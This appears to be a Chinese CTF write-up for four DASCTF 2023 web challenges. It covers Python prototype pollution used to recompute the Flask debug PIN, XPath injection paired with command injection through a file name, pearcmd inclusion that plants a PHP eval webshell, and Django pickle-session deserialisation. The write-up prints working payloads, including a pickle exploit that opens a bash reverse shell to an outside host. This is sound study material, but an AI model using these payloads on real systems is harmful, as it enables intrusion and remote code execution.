DASCTF 2023 0X401七月暑期挑战赛web复现
目录
<1> Web
(1) EzFlask(python原型链污染&flask-pin)
(2) MyPicDisk(xpath注入&文件名注入)
(3) ez_cms(pearcmd文件包含)
(4) ez_py(django框架 session处pickle反序列化)
<1> Web
(1) EzFlask(python原型链污染&flask-pin)
进入题目 得到源码:
import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)
flask框架题目 /console可以访问
审计一下 代码,有 /register和/login 两个路由
其中register会调用 merge()函数
这个函数很经典 ---- 之前学习JS原型链污染的时候应该经常看到 不过是python原型链污染
参考:Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
request.data用来获得请求体的数据 不需要参数
@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()
根路由会返回 __file__的文件内容 因此我们可以通过原型链污染 污染__file__ 进而读取 flask计算pin码所需的要素
payload:
{"__init__":{"__globals__":{"__file__":"/etc/passwd"}},"username":"aaa","password":"aaa"}
send之后发现不行 应该是过滤了__init__ 利用unicode编码绕过
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/self"}},"username":"aaa","password":"aaa"}
查看 /etc/passwd文件 root:x:0:0:root:/root:/bin/bash
查看 /sys/class/net/eth0/address 46:2b:e9:c7:ab:06 即mac十进制为 77154419714822
查看 /etc/machine-id 得到:96cec10d3d9307792745ec3b85c89620
查看 /proc/self/cgroup 得到:0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podc70c2d47_6f15_4546_ace5_1c33afc178bb.slice/docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope
存在 /etc/machine-id 便不用再读取boot_id /proc/self/cgroup取红色部分
所以machine-id为: 96cec10d3d9307792745ec3b85c89620docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope
报错得到 app.py绝对路径为:/usr/local/lib/python3.10/site-packages/flask/app.py
利用flask 计算pin码的代码,得到pin码
import hashlib
from itertools import chainprobably_public_bits = ['root' # username 可通过/etc/passwd获取'flask.app', # modname默认值'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.10/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]private_bits = ['77154419714822', # /sys/class/net/eth0/address mac地址十进制'96cec10d3d9307792745ec3b85c89620docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope'# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id /proc/self/cgroup# 有machine-id 那就拼接machine-id + /proc/self/cgroup 否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
(2) MyPicDisk(xpath注入&文件名注入)
进入题目得到登录框 试了几个弱口令,进不去
万能密码显示登录成功,然后显示说不是admin
在源码中发现压缩包提示:
<!-- /y0u_cant_find_1t.zip -->
解压得到源码如下:
<?php
session_start();
error_reporting(0);
class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match("/\//i", $filename)){throw new Error("hacker!");}$num = substr_count($filename, ".");if ($num != 1){throw new Error("hacker!");}if (!is_file($filename)){throw new Error("???");}$this->filename = $filename;$this->size = filesize($filename);$this->lasttime = filemtime($filename);}public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";}public function __destruct(){system("ls -all ".$this->filename);}
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){echo '
<form method="POST">username:<input type="text" name="username"></p>password:<input type="password" name="password"></p><input type="submit" value="登录" name="submit"></p>
</form>
';$xml = simplexml_load_file('/tmp/secret.xml');if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登录失败';}else{$_SESSION['user'] = $username;echo "<script>alert('登录成功!');location.href='/index.php';</script>";}}
}
else{if ($_SESSION['user'] !== 'admin') {echo "<script>alert('you are not admin!!!!!');</script>";unset($_SESSION['user']);echo "<script>location.href='/index.php';</script>";}echo "<!-- /y0u_cant_find_1t.zip -->";if (!$_GET['file']) {foreach (scandir(".") as $filename) {if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";}}echo '<form action="index.php" method="post" enctype="multipart/form-data">选择图片:<input type="file" name="file" id=""><input type="submit" value="上传"></form>';if ($_FILES['file']) {$filename = $_FILES['file']['name'];if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {die("hacker!");}if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";} else {die('failed');}}}else{$filename = $_GET['file'];if ($_GET['todo'] === "md5"){echo md5_file($filename);}else {$file = new FILE($filename);if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {echo "<img src='../" . $filename . "'><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";} else if ($_GET['todo'] === "remove") {$file->remove();echo "<script>alert('图片已删除!');location.href='/index.php';</script>";} else if ($_GET['todo'] === "show") {$file->show();}}}
}
?>
</body>
</html>
代码审计,如果admin身份登录的话,存在文件上传点,限制了只能上传.(jpg|jpeg|gif|png|bmp) 等图片后缀
同时存在一个FILE类
class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match("/\//i", $filename)){throw new Error("hacker!");}$num = substr_count($filename, ".");if ($num != 1){throw new Error("hacker!");}if (!is_file($filename)){throw new Error("???");}$this->filename = $filename;$this->size = filesize($filename);$this->lasttime = filemtime($filename);}public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";}public function __destruct(){system("ls -all ".$this->filename);}
}
FILE类中的 md5_file() is_file() unlink() 都可以触发phar反序列化
且__destruct()里 system("ls -all ".$this->filename); 存在命令注入 而phar文件更换后缀后仍然可以正常解析
但实际上这道题并不需要构造phar文件
else{$filename = $_GET['file'];if ($_GET['todo'] === "md5"){echo md5_file($filename);}else {$file = new FILE($filename);
如果传参file 而不给todo传参的话,他会帮我们new一个 FILE对象,调用__construct()给$filename属性赋值 程序执行结束回收对象时,会调用__destruct() 因此实际上我们上传一个 文件名为 ;echo 命令base64编码 | base64 -d | bash;.jpg
即可执行命令
因此 现在的想法是怎么去获取admin身份,然后上传文件 文件名注入
看登录处的代码实现:
<?php$xml = simplexml_load_file('/tmp/secret.xml');if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登录失败';}else{$_SESSION['user'] = $username;echo "<script>alert('登录成功!');location.href='/index.php';</script>";}
存在xpath注入 已知 accounts结点下有一个user结点
盲注注出来user的子节点个数为2 应该是对应username和password
注一下 user[1]/username/text() 得到 admin 那么再注一下它的密码就能登录 上传文件了
脚本如下:
得到admin密码hash值:003d7628772d6b57fec5f30ccbc82be1
somd5在线解密得到:15035371139
成功登录
上传 ;echo bHMgLw== | base64 -d | bash;.jpg
获得flag文件名称
再上传 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q= | base64 -d | bash;.jpg
得到flag
(3) ez_cms(pearcmd文件包含)
熊海CMS的任意文件包含
/admin/ 找到后台
弱口令 admin:123456进入后台
版本为 熊海CMS V1.0 搜索发现该版本存在文件包含漏洞
漏洞存在点为 index.php?r=
/admin/index.php和/index.php两处代码一样
<?php //单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断传入参数r是否为空 空的话就给$action赋值index
index include('files/'.$action.'.php'); //文件包含
?>
这里并没有过滤,存在目录遍历攻击与文件包含漏洞
这里文件上传图片🐎 上传不了 这条路行不通
我们还可以包含pearcmd 写入webshell
vps上挂上木马文件,python -m http.server开启一个http服务 利用pearcmd文件包含下载
/admin/?r=../../../../../../../../../../../../usr/share/php/pearcmd&+download+http:/vpsip/test.php
下载失败,/var/www/html/admin 目录应该是没有写权限
不过这也证实了存在pearcmd文件包含
那就利用config-create 去往 /tmp 下写入webshell 反正我们可以通过 目录遍历去包含进来
/admin/?r=../../../../../../../../../../../../usr/share/php/pearcmd&+config-create+/&/<?=eval($_POST[1])?>+/tmp/evil.php
注:要用burp传参,hackbar的话会url编码,像下图一样 导致写入的一句话无法正常解析
写入之后,访问/admin/?r=../../../../../../tmp/evil 出现phpinfo()界面,就成功了 蚁剑连接 找到flag
(4) ez_py(django框架 session处pickle反序列化)
下载附件得到项目的代码:
from django.urls import pathfrom . import viewsurlpatterns = [path('', views.index_view, name='index'),path('login', views.login_view, name='login'),path('auth', views.auth_view, name='auth'),path('error', views.error_view, name='error')
]
共有四个路由:
- /
- /login
- /auth
- /error
其他都是直接return html页面,auth路由的代码如下:
def auth_view(request, onsuccess='/', onfail='/error'):username = request.POST["username"]password = request.POST["password"]user = authenticate(request, username=username, password=password)if user is not None:login(request, user)return redirect(onsuccess)else:return redirect(onfail)
重点看 settings.py 这部分内容
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
给了SECRET_KEY、SESSION_SERIALIZER为 PickleSerializer,应该就是利用session 进行pickle反序列化,应该是在auth认证的时候 会对session进行pickle.loads()
跟进 'django.contrib.sessions.backends.signed_cookies' 看一看 session的代码实现
发现SessionStore 的loads函数里,会调用 signing.loads() 第一个参数就是我们的session
第二个跟进,则是 PickleSerializer
第三个不管,第四个salt是个给定的 字符串 'django.contrib.sessions.backends.signed_cookies'
因此,我们跟进 signing,查看signing的loads()函数实现
这里的serializer()传入是PickleSerializer,相当于是会调用 pickle.loads() 存在pickle反序列化
同时发现其中也有loads对应的逆过程 dumps()函数
不过 signing的dumps()函数 默认的salt和 serializer和 我们前面的参数不一致,这个好说 我们利用signing.dumps()去生成session的时候,自己手动改一下就行
全局搜索 PickleSerializer时找到了这个:
因此思路就清晰了
构造pickle反序列化恶意obj,执行反弹shell。然后利用signing的dumps() 函数去把obj转化为恶意的session
exp如下:
import urllib3
import django.core.signing
import pickle
import subprocess
import base64SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"class PickleSerializer:"""Simple wrapper around pickle to be used in signing.dumps andsigning.loads."""protocol = pickle.HIGHEST_PROTOCOLdef dumps(self, obj):return pickle.dumps(obj, self.protocol)def loads(self, data):return pickle.loads(data)class payload(object):def __reduce__(self):return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/xxxx/7777 <&1"',),-1,None,None,None,None,None,False, True))out_cookie= django.core.signing.dumps(payload(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)
得到session之后,放到sessionid里
带着session 访问/auth 弹回来shell
这里并没有弹到shell 。。。。 抓马 请教了Boogipop师傅之后,提醒说 注意生成payload时的python版本,pickle包版本等等 换成python3.5的时候弹到了
参考:DASCTF 2023 & 0X401 Web WriteUp | Boogiepop Doesn't Laugh
太强了
相关文章:

DASCTF 2023 0X401七月暑期挑战赛web复现
目录 <1> Web (1) EzFlask(python原型链污染&flask-pin) (2) MyPicDisk(xpath注入&文件名注入) (3) ez_cms(pearcmd文件包含) (4) ez_py(django框架 session处pickle反序列化) <1> Web (1) EzFlask(python原型链污染&flask-pin) 进入题目 得到源…...

go编译文件
1.编译go文件 go build [go文件]2.执行文件编译文件 ./demo [demo为go文件名称]...

Flowable-子流程-调用活动
目录 定义图形标记XML内容界面操作使用示例子流程设计子流程的XML内容主流程设计主流程的XML内容 视频教程 定义 调用活动是在一个流程定义中调用另一个独立的流程定义,通常可以定义一些通用的流程作为 这种调用子流程,供其他多个流程定义复用。这种子流…...

java 并发
目录 什么是线程?什么是进程?为什么要有线程?有什么关系与区别?什么是守护线程?如何创建、启动 Java 线程?线程池参数详细解释Callable接口和Future类偏向锁 / 轻量级锁 / 重量级锁synchronized 和 java.ut…...

【MySQL】DDL和DML
4,DDL:操作数据库 我们先来学习DDL来操作数据库。而操作数据库主要就是对数据库的增删查操作。 4.1 查询 查询所有的数据库 SHOW DATABASES; 运行上面语句效果如下: 上述查询到的是的这些数据库是mysql安装好自带的数据库,我们以后不要操…...

使用python框架FastAPI
中文文档 Python ORM之SQLAlchemy Fastapi大型项目目录规划 SQL数据库操作 依赖项Depends 待看 和APIRouter from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmakerapp FastAPI()SQ…...

Vue实现leafletMap自定义绘制线段 并且删除指定的已绘制的点位
效果:点击表格可实现选中地图点位,删除按钮点击可删除对应点位并且重新绘制线段,点击确定按钮 保存已经绘制的点位信息传给父组件 并且该组件已实现回显 完整的组件代码如下 文件名称为: leafletMakePointYt <!--* Descripti…...

ChatGPT辅助写论文:提升效率与创造力的利器
写作是人类最重要的交流方式之一,也是学术研究中不可或缺的环节。然而,写作并不是一件容易的事情,尤其是对于科研人员来说,他们需要花费大量的时间和精力来撰写高质量的论文,并且面临着各种各样的挑战,如语…...

面试攻略,Java 基础面试 100 问(六)
JAVA 泛型 泛型提供了编译时类型安全检测机制,该机制允许程序员在编译时检测到非法的类型。泛型的本 质是参数化类型,也就是说所操作的数据类型被指定为一个参数。比如我们要写一个排序方法, 能够对整型数组、字符串数组甚至其他任何类型的…...

图解系列 DNS查找过程和DNS缓存
DNS 充当地址簿。它将人类可读的域名 (google.com) 转换为机器可读的 IP 地址 (142.251.46.238)。 开局一张图 来自:https://xiaolishen.medium.com/the-dns-lookup-journey-240e9a5d345c 寻址流程 查询浏览器缓存:当你输入一个域名后,浏览…...

《吐血整理》高级系列教程-吃透Fiddler抓包教程(21)-如何使用Fiddler生成Jmeter脚本-上篇
1.简介 我们知道Jmeter本身可以录制脚本,也可以通过BadBoy,BlazeMeter等工具进行录制,其实Fiddler也可以录制Jmter脚本(而且有些页面,由于安全设置等原因,使用Jmeter直接无法打开录制时,这时就…...

vim中出现复制不对齐-乱码问题
不对齐解决: 使用纯文本模式粘贴:在进入 Vim 编辑器后,先按下 :set paste 进入插入模式,然后再进行粘贴操作。这样可以确保粘贴的文本以纯文本格式插入,而不会触发自动缩进或其他格式化操作 中文乱码问题:…...

华为OD机考真题--单词接龙--带答案
2023华为OD统一考试(AB卷)题库清单-带答案(持续更新)or2023年华为OD真题机考题库大全-带答案(持续更新) 题目描述: 单词接龙的规则是: 用于接龙的单词首字母必须要前一个单词的尾字母…...

排序进行曲-v3.0
文章目录 小程一言归并排序步骤举例总结时间复杂度分析:空间复杂度分析:注意 应用场景总结 实际举例Other 代码实现结果解释 小程一言 这篇文章是在排序进行曲2.0之后的续讲, 这篇文章主要是对归并排序进行细致分析,以及操作。 希…...

编辑列表操作时的一些思考,关于全量和增量操作
假设我有一个这样的页面,需要对用户的信息做编辑操作 角色下面有一些菜单项,通过一张角色-菜单关系表来维护,那么我要在编辑用户后也要对用户角色关系表做修改,是经过两次比较分别计算出需要增加或者删除的角色用户关系࿰…...

【python】Python tkinter库实现重量单位转换器的GUI程序
文章目录 前言学到什么?导入模块和库创建一个GUI窗口定义函数 from_kg()创建标签、输入框、文本框和按钮设置组件的布局运行窗口循环完整代码运行效果结束语 前言 这段代码是一个简单的重量单位转换器的 GUI 程序,使用了 Python 的 tkinter 库来创建图形界面。该程…...

CVPR2023新作:源数据集对迁移学习性能的影响以及相应的解决方案
Title: A Data-Based Perspective on Transfer Learning (迁移学习的基于数据的观点) Affiliation: MIT (麻省理工学院) Authors: Saachi Jain, Hadi Salman, Alaa Khaddaj, Eric Wong, Sung Min Park, Aleksander Mądry Keywords: transfer learning, source dataset, dow…...

《TCP IP 网络编程》第十五章
第 15 章 套接字和标准I/O 15.1 标准 I/O 的优点 标准 I/O 函数的两个优点: 除了使用 read 和 write 函数收发数据外,还能使用标准 I/O 函数收发数据。下面是标准 I/O 函数的两个优点: 标准 I/O 函数具有良好的移植性标准 I/O 函数可以利用…...

新特性解读 | MySQL 8.0 字段信息统计机制
作者通过一个案例详细说明了 MySQL 8.0 字段信息统计机制的相关参数和使用方式。 作者:杨奇龙 网名“北在南方”,资深 DBA,主要负责数据库架构设计和运维平台开发工作,擅长数据库性能调优、故障诊断。 本文来源:原创投…...

基于Java+Swing实现超级玛丽游戏
基于JavaSwing实现超级玛丽游戏 一、系统介绍二、功能展示三、其他系统 一、系统介绍 超级玛丽小游戏的JAVA程序,进入游戏后首先按空格键开始,利用方向键来控制的马里奥的移动,同时检测马里奥与场景中的障碍物和敌人的碰撞,并判断…...

Day12-1-Webpack前端工程化开发
Webpack前端工程化 1 案例-webpack打包js文件 1 在index.html中编写代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><me…...

JUnit教程_编程入门自学教程_菜鸟教程-免费教程分享
教程简介 JUnit是一个Java语言的单元测试框架。它由Kent Beck和Erich Gamma建立,逐渐成为源于Kent Beck的sUnit的xUnit家族中最为成功的一个。 JUnit有它自己的JUnit扩展生态圈。多数Java的开发环境都已经集成了JUnit作为单元测试的工具。JUnit是由 Erich Gamma 和…...

Hive 安装介绍
介绍 Hive是基于Hadoop的一个数据仓库工具,可以将结构化的数据文件映射为一张数据库表,并提供类SQL查询功能。 其本质是将SQL转换为MapReduce的任务进行运算,底层由HDFS来提供数据的存储,说白了hive可以理解为一个将SQL转换为Ma…...

npm ERR! code EPERM npm ERR! syscall unlink npm ERR!错误解决方法
npm ERR! code EPERM npm ERR! syscall unlink npm ERR!错误解决方法 1、问题描述2、解决方法 1、问题描述 由于之前电脑系统的原因,电脑重置了一下,之前安装的环境都没了,然后在重新安装node.js后在使用npm安装时总是报如下错误:…...

redis 高级篇4 分布式锁
一 redis架构图 1.1 redis的架构图 1.2 分布式锁满足条件 1.独占性;2.高可用;3.防死锁;4.不乱抢;5.重入性 二 分布式锁的案例情况 2.1 分布式锁1:单机分布式部署 描述: 使用lock锁和synchronized,单机…...

TPU-NNTC 编译部署LPRNet 车牌识别算法
TPU-NNTC 编译部署LPRNet 车牌识别算法 注意: 由于SOPHGO SE5微服务器的CPU是基于ARM架构,以下步骤将在基于x86架构CPU的开发环境中完成 初始化开发环境(基于x86架构CPU的开发环境中完成)模型转换 (基于x86架构CPU的开发环境中完成) 处理后的LPRNet 项…...

在线/开源GNSS处理软件/平台介绍
当前,存在较多的GNSS开源/免费软件,可用于质量检核、RTK解算和PPP解算等,本文总结了部分常用的处理软件,其详细信息如表1和表2所示。 表1 常用GNSS预处理(格式转换、质量检核)软件: 软件名称 …...

SpringBoot集成企业微信群聊机器人消息
目录 参考文档概述一、功能作用二、应用场景三、 群机器人发送限制四、创建机器人1、添加2、群机器人Webhook地址 五、发送消息1、文本 text请求体 图文连接 news 参考文档 官方文档 企业微信群机器人应用 概述 现在很多企业都在使用企业微信进行工作交流,自从企…...

五、驱动 - 音频系统硬件电路
文章目录 1. 音频系统硬件电路结构2. 蓝牙音频2.1 音乐播放2.2 VoIP通话2.3 4G通话3. 其他3.1 什么是S/PDIF1. 音频系统硬件电路结构 录音放音设备:mic、speaker、耳机、听筒这些带有录音放音功能的设备(因为录放设备可能是模拟设备也可能是数字设备,所以接口可能是模拟接口…...

【图像分割和识别】活动形状模型 (ASM) 和活动外观模型 (AAM)(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...